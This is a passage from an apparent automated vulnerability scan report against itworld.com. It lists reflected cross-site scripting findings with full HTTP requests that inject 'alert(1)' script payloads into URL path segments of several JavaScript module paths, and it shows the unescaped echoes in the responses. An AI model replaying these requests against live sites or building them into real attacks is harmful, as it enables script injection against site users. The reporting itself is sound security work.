Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:29:59 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460599"
Content-Type: text/html; charset=utf-8
Content-Length: 57634
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:59 GMT
X-Varnish: 1038168965
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/ctools/js262b2"><script>alert(1)</script>d5d0e30c27c/modal.js?h"/>
...[SNIP]...

1.167. http://www.itworld.com/sites/all/modules/contrib/ctools/js/modal.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ctools/js/modal.js

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload eb47f"-alert(1)-"e72c8dfa79e was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/ctools/js/modal.jseb47f"-alert(1)-"e72c8dfa79e?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:30:29 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460629"
Content-Type: text/html; charset=utf-8
Content-Length: 57409
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:30:30 GMT
X-Varnish: 1038170580
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
rop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/ctools/js/modal.jseb47f"-alert(1)-"e72c8dfa79e";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.168. http://www.itworld.com/sites/all/modules/contrib/ctools/js/modal.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ctools/js/modal.js

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9d8b1"><script>alert(1)</script>8806e851229 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/ctools/js/modal.js9d8b1"><script>alert(1)</script>8806e851229?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:30:20 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460620"
Content-Type: text/html; charset=utf-8
Content-Length: 57628
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:30:21 GMT
X-Varnish: 1038169736
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/ctools/js/modal.js9d8b1"><script>alert(1)</script>8806e851229?h"/>
...[SNIP]...

1.169. http://www.itworld.com/sites/all/modules/contrib/dialog/dialog.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/dialog/dialog.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 687ff"><script>alert(1)</script>da3ac0b9dd3 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules687ff"><script>alert(1)</script>da3ac0b9dd3/contrib/dialog/dialog.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:25 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460145"
Content-Type: text/html; charset=utf-8
Content-Length: 57606
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:39 GMT
X-Varnish: 252446260
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules687ff"><script>alert(1)</script>da3ac0b9dd3/contrib/dialog/dialog.js?h"/>
...[SNIP]...

1.170. http://www.itworld.com/sites/all/modules/contrib/dialog/dialog.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/dialog/dialog.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b1a0f"-alert(1)-"3a8881f00e1 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modulesb1a0f"-alert(1)-"3a8881f00e1/contrib/dialog/dialog.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:46 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460166"
Content-Type: text/html; charset=utf-8
Content-Length: 57386
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:48 GMT
X-Varnish: 252446550
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
S";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modulesb1a0f"-alert(1)-"3a8881f00e1/contrib/dialog/dialog.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requ
...[SNIP]...

1.171. http://www.itworld.com/sites/all/modules/contrib/dialog/dialog.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/dialog/dialog.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e984a"><script>alert(1)</script>1bd89d8f56a was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contribe984a"><script>alert(1)</script>1bd89d8f56a/dialog/dialog.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:09 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460189"
Content-Type: text/html; charset=utf-8
Content-Length: 57612
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:11 GMT
X-Varnish: 252446958
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contribe984a"><script>alert(1)</script>1bd89d8f56a/dialog/dialog.js?h"/>
...[SNIP]...

1.172. http://www.itworld.com/sites/all/modules/contrib/dialog/dialog.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/dialog/dialog.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c3b88"-alert(1)-"a6f9b0c1556 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contribc3b88"-alert(1)-"a6f9b0c1556/dialog/dialog.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:17 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460197"
Content-Type: text/html; charset=utf-8
Content-Length: 57392
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:20 GMT
X-Varnish: 252447178
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contribc3b88"-alert(1)-"a6f9b0c1556/dialog/dialog.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
...[SNIP]...

1.173. http://www.itworld.com/sites/all/modules/contrib/dialog/dialog.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/dialog/dialog.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d0d94"-alert(1)-"de90a2a06dd was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/dialogd0d94"-alert(1)-"de90a2a06dd/dialog.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:57 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460237"
Content-Type: text/html; charset=utf-8
Content-Length: 57385
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:59 GMT
X-Varnish: 252448290
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
gerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/dialogd0d94"-alert(1)-"de90a2a06dd/dialog.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar
...[SNIP]...

1.174. http://www.itworld.com/sites/all/modules/contrib/dialog/dialog.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/dialog/dialog.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b6d5b"><script>alert(1)</script>737b8c121b0 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/dialogb6d5b"><script>alert(1)</script>737b8c121b0/dialog.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:33 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460213"
Content-Type: text/html; charset=utf-8
Content-Length: 57612
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:50 GMT
X-Varnish: 252447453
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/dialogb6d5b"><script>alert(1)</script>737b8c121b0/dialog.js?h"/>
...[SNIP]...

1.175. http://www.itworld.com/sites/all/modules/contrib/fbconnect/fbconnect.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/fbconnect/fbconnect.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 24f2e"-alert(1)-"5b65d54afbf was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib24f2e"-alert(1)-"5b65d54afbf/fbconnect/fbconnect.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:13 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460313"
Content-Type: text/html; charset=utf-8
Content-Length: 57451
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:14 GMT
X-Varnish: 1038159975
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib24f2e"-alert(1)-"5b65d54afbf/fbconnect/fbconnect.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you reques
...[SNIP]...

1.176. http://www.itworld.com/sites/all/modules/contrib/fbconnect/fbconnect.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/fbconnect/fbconnect.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 13c05"-alert(1)-"d848e58119d was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/fbconnect13c05"-alert(1)-"d848e58119d/fbconnect.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:45 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460345"
Content-Type: text/html; charset=utf-8
Content-Length: 57451
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:46 GMT
X-Varnish: 1038161001
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
ich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/fbconnect13c05"-alert(1)-"d848e58119d/fbconnect.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.e
...[SNIP]...

1.177. http://www.itworld.com/sites/all/modules/contrib/fbconnect/fbconnect.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/fbconnect/fbconnect.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33e40"><script>alert(1)</script>c3afb31d4f7 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/fbconnect33e40"><script>alert(1)</script>c3afb31d4f7/fbconnect.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
